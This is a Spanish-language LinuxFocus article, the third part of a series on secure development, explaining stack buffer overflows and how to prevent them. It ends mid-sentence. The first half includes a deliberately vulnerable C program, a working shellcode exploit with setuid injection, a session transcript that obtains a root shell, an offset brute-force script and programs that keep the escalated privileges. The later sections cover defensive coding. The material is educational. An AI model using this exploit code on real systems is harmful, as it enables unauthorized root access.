<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//ES"> <HTML> <HEAD> <META http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <META NAME="GENERATOR" CONTENT="lfparser_2.9"> <META NAME="LFCATEGORY" CONTENT="Software Development"> <TITLE>lf190, Software Development: Evitando agujeros de seguridad durante el desarrollo de aplicaciones - 3ª Parte : desbordamiento de búfer</TITLE> <!-- stylesheet added by lfparser: --> <style type="text/css"> <!-- pre { font-familiy:monospace,Courier } --> </style> </HEAD> <BODY bgcolor="#ffffff" text="#000000"> <!-- this is generated html code. NEVER use this file for your translation work. Instead get the file with the same article number and .meta.shtml in its name. Translate this meta file and then use lfparser program to generate the final article --> <!-- lfparser can be obtained from http://main.linuxfocus.org/~guido/dev/lfparser.html --> <!-- 2pdaIgnoreStart --> <MAP name="top"> <AREA shape="rect" coords="367,9,418,30" alt="Hogar" href="../index.shtml"> <AREA shape="rect" coords="423,9,457,30" alt="Mapa" href="../map.html"> <AREA shape="rect" coords="463,9,508,30" alt="Indice" href="../indice.html"> <AREA shape="rect" coords="514,9,558,30" alt="Busqueda" href="../Search/index.html"> </MAP> <MAP name="bottom"> <AREA shape="rect" coords="78,0,163,15" alt="Noticias" href="../News/index.shtml"> <AREA shape="rect" coords="189,0,284,15" alt="Arca" href="../Archives/index.html"> <AREA shape="rect" coords="319,0,395,15" alt="Enlaces" href="../Links/index.html"> <AREA shape="rect" coords="436,0,523,15" alt="Sobre LF" href="../aboutus.html"> </MAP> <!-- IMAGE HEADER --> <CENTER> <IMG src="../../common/images/Topbar-es.gif" width="600" height="40" border="0" alt="[Top bar]" ismap usemap="#top" ><BR> <IMG src="../../common/images/Bottombar-es.gif" width="600" height="21" border="0" alt="[Bottom bar]" ismap usemap="#bottom"> </CENTER> <!-- SSI_INFO --> <!-- tr_staticssi include virtual --> <!-- tr_staticssi exec cmd --> <!-- addedByLfdynahead ver 1.1 --><TABLE ALIGN="right" border=0><TR><TD ALIGN="right"><FONT SIZE="-1" FACE="Arial,Helvetica">Este artículo está disponible en los siguientes idiomas: <A href="../../English/May2001/article190.shtml">English</a> <A href="../../Castellano/May2001/article190.shtml">Castellano</a> <A href="../../Deutsch/May2001/article190.shtml">Deutsch</a> <A href="../../Francais/May2001/article190.shtml">Francais</a> <A href="../../Nederlands/May2001/article190.shtml">Nederlands</a> <A href="../../Portugues/May2001/article190.shtml">Portugues</a> <A href="../../Russian/May2001/article190.shtml">Russian</a> <A href="../../Turkce/May2001/article190.shtml">Turkce</a> </FONT></TD></TR></TABLE><br> <!-- 2pdaIgnoreStop --> <!-- SHORT BIO ABOUT THE AUTHOR --> <TABLE ALIGN=LEFT BORDER=0 hspace=4 vspace=4 WIDTH="30%" > <TR> <TD> <!-- 2pdaIgnoreStart --> <!-- PALM DOC --> <TABLE BORDER=0 hspace=4 vspace=4> <TR> <TD> <font size=1> <img src="../../common/images/2doc.gif" width=34 align=left border=0 height=22 alt="convert to palm"><a href="http://cgi.linuxfocus.org/cgi-bin/2ztxt">Convert to GutenPalm</a><br>or <a href="http://cgi.linuxfocus.org/cgi-bin/2pda">to PalmDoc</a></font> </TD> </TR> </TABLE> <!-- END PALM DOC --> <!-- 2pdaIgnoreStop --> <br> <IMG src="../../common/images/FredCrisBCrisG.jpg" alt= "[image of the authors]" width="200" height="150"> <BR>por <A href= "mailto:pappy@users.sourceforge.net,ccb@club-internet.fr,grenier@nef.esiea.fr"> Frédéric Raynal, Christophe Blaess, Christophe Grenier</A> <BR><BR> <I>Sobre el autor:</I><BR> <P>Chistophe Blaess es un ingeniero aeronáutico independiente. Es fan de Linux y realiza gran parte de su trabajo sobre este sistema operativo. Coordina la traducción de las páginas man publicadas por el <I>Proyecto de Documentación de Linux (LDP)</I>.<P><P>Christophe Grenier es un estudiante de 5º curso en ESIEA, donde también trabaja como administrador de sistemas. Es un apasionado de la seguridad informática.</P><p>Frederic Raynal utiliza Linux desde hace varios años porque no contamina, utiliza hormonas, MSG ni harina de huesos animales... sólo sudor y astucia.</p> <BR><i>Contenidos</i>: <UL> <LI><A HREF="#lfindex0">Desbordamiento de búfer</A></LI> <LI><A HREF="#lfindex1">Posicion en memoria</A></LI> <LI><A HREF="#lfindex2">Programa para lanzar la aplicación</A></LI> <LI><A HREF="#lfindex3">Problemas de shell(s)</A></LI> <LI><A HREF="#lfindex4">Prevención</A></LI> <LI><A HREF="#lfindex5">Comprobando índices</A></LI> <LI><A HREF="#lfindex6">Utilizando funciones n </A></LI> <LI><A HREF="#lfindex7">Validar los datos en dos pasos</A></LI> <LI><A HREF="#lfindex8">Utilizar búferes dinámicos</A></LI> <LI><A HREF="#lfindex9">Conclusiones</A></LI> <LI><A HREF="#lfindex10">Enlaces</A></LI> <LI><A HREF="http://cgi.linuxfocus.org/cgi-bin/lftalkback?anum=190&lang=es">Formulario de "talkback" para este artículo</A></LI> </UL> </TD></TR></TABLE> <!-- HEAD OF THE ARTICLE --> <H2>Evitando agujeros de seguridad durante el desarrollo de aplicaciones - 3ª Parte : desbordamiento de búfer</H2> <IMG src="../../common/images/illustration183.gif" width="100" height= "100" alt="[article illustration]" hspace="10"> <!-- ABSTRACT OF THE ARTICLE --> <P><i>Resumen</i>: <P> En este artículo se introduce un desbordamiento de búfer real en una aplicación. Veremos que es un agujero de seguridad fácilmente atacable y cómo evitarlo. Este artículo asume que usted ya ha leído los dos artículos anteriores: <ul><li><a href="../January2001/article182.shtml">Evitando agujeros de seguridad en el desarrollo de aplicaciones - 1ª Parte</a><li><a href="../March2001/article183.shtml">Evitando agujeros de seguridad en el desarrollo de aplicaciones - 2ª Parte: memoria, pila y funciones, código shell</a></ul></P> <HR size="2" noshade align="right"><BR> <!-- BODY OF THE ARTICLE --> <A NAME="lfindex0"> </A> <H3>Desbordamiento de búfer</H3> <P>En nuestro artículo anterior escribimos un pequeño programa de unos 50 bytes y éramos capaces de arrancar una shell o salir en caso de fallo. Ahora debemos insertar este código dentro de la aplicación que queremos atacar. Esto se hace sobreescribiendo la dirección de retorno de una función y sustituyéndola por nuestra dirección del código de shell. Esto se hace forzando el desbordamiento de una variable automática alojada en la pila de proceso.</P> <P>Por ejemplo, en el siguiente programa, se copia la cadena dada como primer argumento en la línea de comandos a un búfer de 500 bytes. Esta copia se realiza sin comprobar si es más grande que el tamaño del búfer. Como veremos, utilizar la función <CODE>strncpy()</CODE> nos permite evitar este problema.</P> <PRE> /* vulnerable.c */ #include <string.h> int main(int argc, char * argv []) { char buffer [500]; if (argc > 1) strcpy(buffer, argv[1]); return (0); } </PRE> <P><CODE>buffer</CODE> es una variable automática, el espacio utilizado por los 500 bytes es reservado en la pila tan pronto como se arranca el programa. Con un argumento mayor que 500 bytes, los datos desbordan el búfer e "invaden" la pila de proceso. Como ya se ha visto con anterioridad, la pila almacena la dirección de la siguiente instrucción a ejecutar (aka <EM>return address</EM>). Para explotar este agujero de seguridad, es suficiente reemplazar la dirección de retorno de la función por la dirección del código de shell que se desea ejecutar. Este código shell se inserta dentro del búfer seguido de su dirección de memoria.</P> <A NAME="lfindex1"> </A> <H2>Posicion en memoria</H2> <P>Obtener la dirección de memoria del código shell tiene su truco. Debemos descubrir el desplazamiento entre el registro <CODE>%esp</CODE> apuntando a la primera posición de la pila y la dirección del código shell. Para disponer de un margen de seguridad, el comienzo del búfer se rellena con la instrucción de ensamblador <CODE>NOP</CODE>; es una instrucción neutra de un único byte que no tiene ningún efecto en absoluto. En consecuencia, arrancando puntos de memoria anteriores al verdadero comienzo del código de shell, la CPU ejecuta <CODE>NOP</CODE> tras <CODE>NOP</CODE> hasta que alcanza nuestro código. Para tener más posibilidades, ponemos el código de la shell en medio del búfer, seguido de la dirección de comiendo repetida hasta el final y precedido de un bloque <CODE>NOP</CODE>. El <A href="#buffer">diagrama 1</A> ilustra todo esto:</P> <CENTER> <TABLE width="90%" nosave=""> <CAPTION align="BOTTOM"><A name="buffer" href="#buffer">Diag. 1</A> : buffer especially filled up for the exploit.</CAPTION> <TR> <TD><IMG src="../../common/images/article190/art_03_01.gif" alt= "[buffer]"></TD> </TR> </TABLE> </CENTER> <BR> <BR> <P>El <A href="#aligne">diagrama 2</A> describe el estado de la pila antes y después del desbordamiento. Esto provoca que toda la información guardada (<CODE>%ebp</CODE> guardado, <CODE>%eip</CODE> guardado, argumentos,...) se reemplace por la nueva dirección de retorno esperada: la dirección de comienzo de la parte del búfer donde hemos colocado el shellcode.</P> <CENTER> <TABLE width="80%" border="2" cols="2" nosave=""> <CAPTION align="BOTTOM"><A name="avt_apr" href="#avt_apr">Diag. 2</A> : estado de la pila antes y después del desbordamiento</CAPTION> <TR> <TD> <CENTER><IMG src="../../common/images/article190/pile_bef.gif" alt= "pile_bef.gif"></CENTER> </TD> <TD> <CENTER><IMG src="../../common/images/article190/pile_aft.gif" alt= "pile_aft.gif"></CENTER> </TD> </TR> <TR> <TD> <CENTER>Antes</CENTER> </TD> <TD> <CENTER>Después</CENTER> </TD> </TR> </TABLE> </CENTER> <BR> <BR> <P>Sin embargo, existe otro problema relacionado con la alineación en memoria. Una dirección es más larga que 1 byte y por consiguiente se almacena en varios bytes. Esto puede causar que la alineación dentro de la memoria no siempre se ajuste correctamente. Por ensayo y error se encuentra el alineamiento correcto. Ya que nuestra CPU utiliza palabras de 4 bytes, la alineación es 0, 1, 2 o 3 bytes (ver el <A href="../March2001/article183.shtml">articulo 183</A> sobre organización de la pila). En el <A href="#aligne">diagrama 3</A>, las partes sombreadas corresponden a los 4 bytes escritos. El primer caso donde la dirección de retorno es sobreescrita completamente con la alineación correcta es la única que funcionará. Los otros conducen a errores de <CODE>violación de segmento</CODE> o <CODE>instrucción ilegal</CODE>. Esta forma empírica de encontrar funciona desde que la potencia de los ordenadores actuales permiten realizar este testeo.</P> <CENTER> <TABLE width="90%" nosave=""> <CAPTION align="BOTTOM"><A name="aligne" href="#aligne">Diag. 3</A> : possible alignment with 4 bytes words</CAPTION> <TR> <TD><IMG src="../../common/images/article190/align-en.png" alt= "[align]"></TD> </TR> </TABLE> </CENTER> <A NAME="lfindex2"> </A> <H2>Programa para lanzar la aplicación</H2> <P>Vamos a escribir un pequeño programa para lanzar una aplicación vulnerable escribiendo datos que desborden la pila. Este programa tiene varias opciones para posicionar el código de shell en memoria y así elegir que programa ejecutar. Esta versión, inspirada por el artículo de Aleph One del número 49 de la revista <EM>phrack</EM>, está disponible en el website de Christophe Grenier.</P> <P>¿Cómo enviamos nuestro búfer preparado a la aplicación de destino? Normalmente, se puede utilizar un parámetro de línea de comandos como el de <CODE>vulnerable.c</CODE> o una variable de entorno. El desbordamiento también se puede provocar tecleando en los datos o simplemente leyéndolo desde un fichero.</P> <P>El programa <CODE>generic_exploit.c</CODE> arranca reservando el tamaño correcto de búfer, después copia ahí el shellcode y lo rellena con las direcciones y códigos NOP como se explica anteriormente. Entonces prepara un array de argumentos y ejecuta la aplicación utilizando la instrucción <CODE>execve()</CODE>, esta última sustituyendo al proceso actual por el invocado. El programa <CODE>generic_exploit</CODE> necesita el tamaño del búfer a explotar (un poco mayor que su tamaño para ser capaz de sobreescribir la dirección de retorno), el offset en memoria y la alineación. Nosotros indicamos si el búfer es pasado como una variable de entorno (<CODE>var</CODE>) o desde la línea de comandos (<CODE>novar</CODE>). El argumento <CODE>force/noforce</CODE> determina si la llamada ejecuta la función <CODE>setuid()/setgid()</CODE> desde el código de shell.</P> <PRE> <small> /* generic_exploit.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/stat.h> #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\xff\x31\xc0\x88\x46\xff\x89\x46\xff\xb0\x0b" "\x89\xf3\x8d\x4e\xff\x8d\x56\xff\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } #define A_BSIZE 1 #define A_OFFSET 2 #define A_ALIGN 3 #define A_VAR 4 #define A_FORCE 5 #define A_PROG2RUN 6 #define A_TARGET 7 #define A_ARG 8 int main(int argc, char *argv[]) { char *buff, *ptr; char **args; long addr; int offset, bsize; int i,j,n; struct stat stat_struct; int align; if(argc < A_ARG) { printf("USAGE: %s bsize offset align (var / novar) (force/noforce) prog2run target param\n", argv[0]); return -1; } if(stat(argv[A_TARGET],&stat_struct)) { printf("\nCannot stat %s\n", argv[A_TARGET]); return 1; } bsize = atoi(argv[A_BSIZE]); offset = atoi(argv[A_OFFSET]); align = atoi(argv[A_ALIGN]); if(!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() + offset; printf("bsize %d, offset %d\n", bsize, offset); printf("Using address: 0lx%lx\n", addr); for(i = 0; i < bsize; i+=4) *(long*)(&buff[i]+align) = addr; for(i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - strlen(shellcode) - strlen(argv[4])); if(strcmp(argv[A_FORCE],"force")==0) { if(S_ISUID&stat_struct.st_mode) { printf("uid %d\n", stat_struct.st_uid); *(ptr++)= 0x31; /* xorl %eax,%eax */ *(ptr++)= 0xc0; *(ptr++)= 0x31; /* xorl %ebx,%ebx */ *(ptr++)= 0xdb; if(stat_struct.st_uid & 0xFF) { *(ptr++)= 0xb3; /* movb $0x??,%bl */ *(ptr++)= stat_struct.st_uid; } if(stat_struct.st_uid & 0xFF00) { *(ptr++)= 0xb7; /* movb $0x??,%bh */ *(ptr++)= stat_struct.st_uid; } *(ptr++)= 0xb0; /* movb $0x17,%al */ *(ptr++)= 0x17; *(ptr++)= 0xcd; /* int $0x80 */ *(ptr++)= 0x80; } if(S_ISGID&stat_struct.st_mode) { printf("gid %d\n", stat_struct.st_gid); *(ptr++)= 0x31; /* xorl %eax,%eax */ *(ptr++)= 0xc0; *(ptr++)= 0x31; /* xorl %ebx,%ebx */ *(ptr++)= 0xdb; if(stat_struct.st_gid & 0xFF) { *(ptr++)= 0xb3; /* movb $0x??,%bl */ *(ptr++)= stat_struct.st_gid; } if(stat_struct.st_gid & 0xFF00) { *(ptr++)= 0xb7; /* movb $0x??,%bh */ *(ptr++)= stat_struct.st_gid; } *(ptr++)= 0xb0; /* movb $0x2e,%al */ *(ptr++)= 0x2e; *(ptr++)= 0xcd; /* int $0x80 */ *(ptr++)= 0x80; } } /* Patch shellcode */ n=strlen(argv[A_PROG2RUN]); shellcode[13] = shellcode[23] = n + 5; shellcode[5] = shellcode[20] = n + 1; shellcode[10] = n; for(i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; /* Copy prog2run */ printf("Shellcode will start %s\n", argv[A_PROG2RUN]); memcpy(ptr,argv[A_PROG2RUN],strlen(argv[A_PROG2RUN])); buff[bsize - 1] = '\0'; args = (char**)malloc(sizeof(char*) * (argc - A_TARGET + 3)); j=0; for(i = A_TARGET; i < argc; i++) args[j++] = argv[i]; if(strcmp(argv[A_VAR],"novar")==0) { args[j++]=buff; args[j++]=NULL; return execve(args[0],args,NULL); } else { setenv(argv[A_VAR],buff,1); args[j++]=NULL; return execv(args[0],args); } } </small> </PRE> <P>Para aprovechar <CODE>vulnerable.c</CODE>, debemos tener un búffer mayor que el que espera la aplicación. Por ejemplo, seleccionamos 600 bytes en lugar de los 500 esperados. Se halla el desplazamiento relativo a la parte superior de la pila por medio de sucesivos tests. La dirección construida con la instrucción <CODE>addr = get_sp() + offset;</CODE> se utiliza para sobreescribir la dirección de retorno, lo conseguirán ... ¡con un poco de suerte! La operación se basa en la probabilidad de que el registro <CODE>%esp</CODE> no se moverá mucho mientras se ejecuta el actual proceso y el llamado al final del programa. Prácticamente nada es seguro: varios eventos pueden modificar el estado de la pila desde el tiempo de computación hasta que el programa a explotar es llamado. Aquí, nosotros logramos activar un desbordamiento explotable con un desplazamiento de -1900 bytes. Por supuesto, para completar el experimento, el destino <CODE>vulnerable</CODE> debe tener un Ser-UID <EM>root</EM>.</P> <PRE> $ cc vulnerable.c -o vulnerable $ cc generic_exploit.c -o generic_exploit $ su Password: # chown root.root vulnerable # chmod u+s vulnerable # exit $ ls -l vulnerable -rws--x--x 1 root root 11732 Dec 5 15:50 vulnerable $ ./generic_exploit 600 -1900 0 novar noforce /bin/sh ./vulnerable bsize 600, offset -1900 Using address: 0lxbffffe54 Shellcode will start /bin/sh bash# id uid=1000(raynal) gid=100(users) euid=0(root) groups=100(users) bash# exit $ ./generic_exploit 600 -1900 0 novar force /bin/sh /tmp/vulnerable bsize 600, offset -1900 Using address: 0lxbffffe64 uid 0 Shellcode will start /bin/sh bash# id uid=0(root) gid=100(users) groups=100(users) bash# exit </PRE> En el primer caso (<CODE>noforce</CODE>), nuestro <CODE>uid</CODE> no cambia. Sin embargo, tenemos un nuevo <CODE>euid</CODE> que nos proporciona todos los permisos. En consecuencia, incluso si CODE>vi</CODE> dice mientras edita <CODE>/etc/passwd</CODE> que es de sólo lectura, aún podemos escribir el fichero y todos los cambios funcionarán: únicamente hay que forzar la escritura con <CODE>w!</CODE> :) El parámetro <CODE>force</CODE> permite <CODE>uid=euid=0</CODE> desde el principio. <P>Para encontrar automáticamente los valores de desplazamiento para un desbordamiento se puede utilizar el siguiente script de shell:</P> <PRE> #! /bin/sh # find_exploit.sh BUFFER=600 OFFSET=$BUFFER OFFSET_MAX=2000 while [ $OFFSET -lt $OFFSET_MAX ] ; do echo "Offset = $OFFSET" ./generic_exploit $BUFFER $OFFSET 0 novar force /bin/sh ./vulnerable OFFSET=$(($OFFSET + 4)) done </PRE> En nuestro exploit, no tuvimos en cuenta los posibles problemas de alineación. Entonces, es posible que este ejemplo no les funcione con los mismos valores, o no funcione en absoluto debido a la alineación. (Para aquellos que quieran probarlo de todas maneras, el parámetro de alineación debe ser cambiado a 1, 2 o 3 (aquí, 0). Algunos sistemas no aceptan la escritura en áreas de memoria si no se trata de una palabra entera, pero esto no es así en Linux. <A NAME="lfindex3"> </A> <H2>Problemas de shell(s)</H2> <P>Por desgracia, a veces la shell obtenida no es utilizable porque termina por sí misma o al pulsar una tecla. Nosotros utilizamos otro programa para mantener los privilegios que hemos adquirido tan cuidadosamente:</P> <PRE> /* set_run_shell.c */ #include <unistd.h> #include <sys/stat.h> int main() { chown ("/tmp/run_shell", geteuid(), getegid()); chmod ("/tmp/run_shell", 06755); return 0; } </PRE> <P>Ya que nuestro exploit sólo es capaz de realizar una tarea simultáneamente, vamos a transferir los derechos obtenidos a través del programa <CODE>run_shell</CODE> con ayuda del programa <CODE>set_run_shell</CODE>. De esta manera se consigue la shell deseada.</P> <PRE> /* run_shell.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> int main() { setuid(geteuid()); setgid(getegid()); execl("/tmp/shell","shell","-i",0); exit (0); } </PRE> La opción <CODE>-i</CODE> corresponde a <CODE>interactive</CODE>. ¿Por qué no dar los permisos directamente a una shell? Simplemente porque el bit <CODE>s</CODE> no está disponible para todas las shell. La versiones recientes comprueban que uid sea igual a euid, al igual que para gid y egid. En consecuencia, <CODE>bash2</CODE> and <CODE>tcsh</CODE> incorporan esta línea de defensa, pero ni <CODE>bash</CODE>, ni CODE>ash</CODE> la tienen. Este método debería ser refinado cuando la partición en la que se coloca <CODE>run_shell</CODE> (aquí, <CODE>/tmp</CODE>) es montada <CODE>nosuid</CODE> o <CODE>noexec</CODE>. <A NAME="lfindex4"> </A> <H2>Prevención</H2> <P>Ya que tenemos un programa Set-UID con un bug de desbordamiento de buffer y su código fuente, somos capaces de preparar un ataque permitiendo la ejecución de código aleatorio bajo el ID del propietario del fichero. De todas maneras, nuestro objetivo es evitar agujeros de seguridad. Ahora vamos a revisar unas cuantas reglas para prevenir los desbordamientos de búfer. </P> <A NAME="lfindex5"> </A> <H2>Comprobando índices</H2> <P>La primera regla a seguir es simplemente cuestión de sentido común: los índices utilizados para manipular un array siempre debe ser comprobado cuidadosamente. Un bucle "tonto" como: </P> <PRE> for (i = 0; i <= n; i ++) { table [i] = ... </PRE> Probablemente produce un error por el signo <CODE><=</CODE> en lugar de CODE><</CODE> ya que se hace un acceso hacia el final del array. Si es sencillo verlo en ese bucle, es más complicado con un bucle que utiliza índices en decremento ya que se deberían asegurar de que no toman valores inferiores a cero. Aparte del caso trivial de <CODE>for(i=0; i<n ; i++)</CODE>, deben comprobar el algoritmo varias veces (o incluso pedir a alguien más que lo compruebe por usted), especialmente al llegar a los extremos del bucle. <P>El mismo tipo de problema aparece con las cadenas de caracteres: siempre deben recordar añadir un byte adicional para el carácter nulo final. Un de los errores más frecuentes en principiantes consiste en olvidar el carácter de fin de cadena. Peor aún, es muy complicado de diagnosticar debido a que los imprevisibles alineamientos variables (por ejemplo compilar con información de debug) pueden ocultar el problema.</P> <P>No se deben subestimar los índices de un array como amenaza a la seguridad de una aplicación. Hemos visto (ver nº55 de <EM>Phrack</EM>) que un desbordamiento de un único byte es suficiente para crear un agujero de seguridad, por ejemplo, insertando código shell en una variable de entorno.</P> <PRE> #define BUFFER_SIZE 128 void foo(void) { char buffer[BUFFER_SIZE+1]; /* end of string */ buffer[BUFFER_SIZE] = '\0'; for (i = 0; i<BUFFER_SIZE; i++) buffer[i] = ... } </PRE> <A NAME="lfindex6"> </A> <H2>Utilizando funciones n </H2> Por convenio, las funciones de la librería estándar de C son conscientes del fin de una cadena de caracteres por el byte nulo. Por ejemplo, la función <CODE>strcpy(3)</CODE> copia el contenido de la cadena original en una cadena destino hasta que llega a este byte nulo. En algunos casos, este comportamiento se vuelve peligroso; hemos visto que el siguiente código tiene un agujero de seguridad: <PRE> #define LG_IDENT 128 int fonction (const char * name) { char identity [LG_IDENT]; strcpy (identity, name); ... } </PRE> Funciones que limitan la longitud de la copia evitan este problema. Estas funciones tienen una `<CODE>n</CODE>' en la mitad de su nombre, por ejemplo, <CODE>strncpy(3)</CODE> en sustitución a <CODE>strcpy(3)</CODE>, <CODE>strncat(3)</CODE> por <CODE>strcat(3)</CODE> o incluso <CODE>strnlen(3)</CODE> por <CODE>strlen(3)</CODE>. <P>Sin embargo, se debe tener precauciones con la limitación <CODE>strncpy(3)</CODE> ya que genera efectos colaterales: cuando la cadena origen es más corta que la de destino, la copia se completará con caracteres nulos hasta el límite <EM>n</EM> y reducirá la eficiencia de la aplicación. Por otro lado, si la cadena origen es más lasga, se truncará y la copia no terminará en un caracter nulo. Se deberá añadir manualmente. Teniendo esto en cuenta, la rutina anterior se convierte en:</P> <PRE> #define LG_IDENT 128 int fonction (const char * name) { char identity [LG_IDENT+1]; strncpy (identity, name, LG_IDENT); identity [LG_IDENT] = '\0'; ... } </PRE> Naturalmente, los mismos principios se aplican a rutinas que manipulan muchos caracteres, por ejemplo, <CODE>wcsncpy(3)</CODE> debería preferirse a <CODE>wcscpy(3)</CODE> o <CODE>wcsncat(3)</CODE> a <CODE>wcscat(3)</CODE>. Seguramente, el programa se haga más grande pero también mejora la seguridad. <P>Como <CODE>strcpy()</CODE>, <CODE>strcat(3)</CODE> no comprueba el tamaño de bufer. La función <CODE>strncat(3)</CODE> añade un carácter al final de la cadena si encuentra espacio para hacerlo. Sustituyendo <CODE>strcat(buffer1, buffer2);</CODE> por <CODE>strncat(buffer1, buffer2, sizeof(buffer1)-1);</CODE> se elimina el riesgo.</P> La función <CODE>sprintf()</CODE> permite formatear datos en una cadena. También tiene una versión que puede comprobar el número de bytes a copiar: <CODE>snprintf()</CODE>. Esta función devuelve el número de caracteres escritos en una cadena destino (sin tener en cuenta el '\0'). Testeando este valor devuelto se sabe si la escritura se ha realizado correctamente:</P> <PRE> if (snprintf(dst, sizeof(dst) - 1, "%s", src) > sizeof(dst) - 1) { /* Overflow */ ... } </PRE> <P>Obviamente, esto no merece la pena cuando el usuario toma el control sobre el número de bytes a copiar. Un agujero similar en BIND (Berkeley Internet Name Daemon) mantuvo ocupados a muchos crackers: </P> <PRE> struct hosten *hp; unsigned long address; ... /* copy of an address */ memcpy(&address, hp->h_addr_list[0], hp->h_length); ... </PRE> Esto debería copiar siempre 4 bytes. Sin embargo, si usted puede cambiar <CODE>hp->h_length</CODE>, entonces también puede modificar la pila. De acuerdo con esto, es obligatorio comprobar la longitud de los campos antes de copiar: <PRE> struct hosten *hp; unsigned long address; ... /* test */ if (hp->h_length > sizeof(address)) return 0; /* copy of an address */ memcpy(&address, hp->h_addr_list[0], hp->h_length); ... </PRE> En determinadas circunstancias es imposible truncarlo de esa manera (path, nombre de máquina, URL... ) y las cosas deben hacerse antes en el programa tan pronto como los datos son escritos. <A NAME="lfindex7"> </A> <H2>Validar los datos en dos pasos</H2> Un programa ejecutándose con privilegios distintos a aquellos de su usuario implica que usted protege todos sus datos y que considera sospechosos todos los datos entrantes. <P>En primer lugar, esto afecta a las routinas con una cadena como parámetro de entrada. De acuerdo con lo que acabamos de decir, no insistiremos en que usted <EM>nunca</EM> utilice <CODE>gets(char *array)</CODE> ya que nunca comprueba la longitud de la cadena (nota del autor: esta rutina debería ser prohibida por el editor de enlace para los nuevos programas compilados). Otros peligros esconde <CODE>scanf()</CODE>. La línea</P> <PRE> scanf ("%s", string) </PRE> es tan peligrosa como <CODE>gets(char *array)</CODE>, pero no es tan obvio. Pero funciones de la familia de <CODE>scanf()</CODE> ofrecen un mecanismo de control sobre el tamaño de los datos: <PRE> char buffer[256]; scanf("%255s", buffer); </PRE> Este formateo limita el número de caracteres copiados en <CODE>buffer</CODE> hasta 255. Por otro lado, <CODE>scanf()</CODE> pone los caracteres que no le gustan de vuelta en la trama de entrada, por lo que los riesgos de errores de programación que generan bloqueos son bastante altos. <P>Utilizando C++, la instrucción <CODE>cin</CODE> reeplaza las funciones clásicas utilizadas en C ( aunque se pueden seguir utilizando). El siguiente programa llena un búfer:</P> <PRE> char buffer[500]; cin>>buffer; </PRE> Como pueden observar, ¡no hace ningún test! Nos encontramos en una situación similar a <CODE>gets(char *array)</CODE> que se utiliza en C: hay una puerta abierta de par en par. La función miembro <CODE>ios::width()</CODE> permite fijar el número máximo de caracteres a leer. <P>La lectura de datos requiere dos pasos. Una primera fase consiste en tomar la cadena con CODE>fgets(char *array, int size, FILE stream)</CODE>, esto limita el tamaño del área utilizada. A continuación los datos leídos son formateados, por ejemplo con <CODE>sscanf()</CODE>. La primera fase puede hacer más cosas, como insertar automáticamente <CODE>fgets(char *array, int size, FILE stream)</CODE> en un bucle reservando la memoria requerida, sin unos límites arbitrarios. La extensión GNU <CODE>getline()</CODE> lo puede hacer por tí. También es posible incluir la validación de caracteres tecleados utilizando <CODE>isalnum()</CODE>, <CODE>isprint()</CODE>, etc. La función <CODE>strspn()</CODE> permite un filtrado efectivo. El programa se vuelve un poco más lento, pero las partes sensibles del código estan protegidas del datos ilegales con un chaleco antibalas.</P> <P>El tecleo directo de datos no es el único punto de entrada atacable. Los ficheros de datos del software son vulnerables, pero el código escrito para leerlos generalmente es más robusto que el de la entrada por consola, ya que los programadores intuitivamente desconfían del contenido del fichero proporcionado por el usuario.</P> <P>Los ataques por desbordamiento de búfer se basan muchas veces en algo más: las cadenas de entorno. No debemos olvidar que un programador puede configurar completamente un entorno de proceso antes de lanzarlo. El convenio que dice que una variable de entorno debe ser del tipo "<CODE>NAME=VALUE</CODE>" puede ser explotado por un usuario malintencionado. Utilizar la rutina <CODE>getenv()</CODE> requiere cierta precaución, especialmente cuando se va a devolver la longitud de la cadena (arbitrariamente larga) y su contenido (donde usted puede encontrar cualquier carácter, incluido `<CODE>=</CODE>'). La cadena devuelta con <CODE>getenv()</CODE> será tratada como la proporcionada por <CODE>fgets(char *array, int size, FILE stream)</CODE>, teniendo en cuenta su longitud y validando cada carácter. </P> <P>El uso de estos filtros se hace igual que el acceso al ordenador: ¡por defecto se prohíbe todo! A continuación se pueden permitir algunas cosas: </P> <PRE> #define GOOD "abcdefghijklmnopqrstuvwxyz\ BCDEFGHIJKLMNOPQRSTUVWXYZ\ 1234567890_" char *my_getenv(char *var) { char *data, *ptr /* Getting the data */ data = getenv(var); /* Filtering Rem : obviously the replacement character must be in the list of the allowed ones !!! */ for (ptr = data; *(ptr += strspn(ptr, GOOD));) *ptr = '_'; return data; } </PRE> <P>La función <CODE>strspn()</CODE> lo hace sencillo: busca el primer carácter que no sea parte del comjunto correcto de caracteres. Devuelve la longitud de la cadena (comenzando en cero) manteniendo sólo los caracteres válidos. Nunca debe darle la vuelta a la lógica. No se puede validar contra los caracteres que usted no desea. Siempre se debe comprobar con los caracteres "buenos".</P> <A NAME="lfindex8"> </A> <H2>Utilizar búferes dinámicos</H2> <P>El desbordamiento de búfer se basa en que el contenido de la pila sobreescriba una variable y en la dirección de retorno de una función. El ataque involucra datos automáticos, que sólo se alojan en la pila. Una forma de mover el problema es reemplazar la tabla de caracteres alojada en la pila por variables dinámicas que se encuentran en memoria. Para hacer esto sustituimos la secuencia: <PRE> #define LG_STRING 128 int fonction (...) { char array [LG_STRING]; ... return (result); } </PRE> por : <PRE> #define LG_STRING 128 int fonction (...) { char *string = NULL; if ((string = malloc (LG_STRING)) == NULL) return (-1); memset(string,'\0',LG_STRING); [...] free (string); return (result); } </PRE> Estas líneas hinchan el código y crean riesgo de fugas de memoria, pero debemos aprovechar estos cambios para modificar la aproximación y evitar imponer límites de longitud arbitrarios. Vamos a añadir que usted no puede esperar el mismo resultado utilizando <CODE>alloca()</CODE>. El código parece similar pero alloca aloja los datos en la pila de proceso y esto conduce al mismo problema que las variables automáticas. Inicializar la memoria a cero utilizando <CODE>memset()</CODE> evita algunos problemas con las variables sin inicializar. De nuevo, esto no corrige el problema, simplemente el ataque se vuelve menos trivial. Aquellos que quieran profundizar en el tema pueden leer el artículo sobre desbordamiento de la cima de la pila en w00w00. <P>Por último, digamos que en determinadas circunstancias es posible librarse 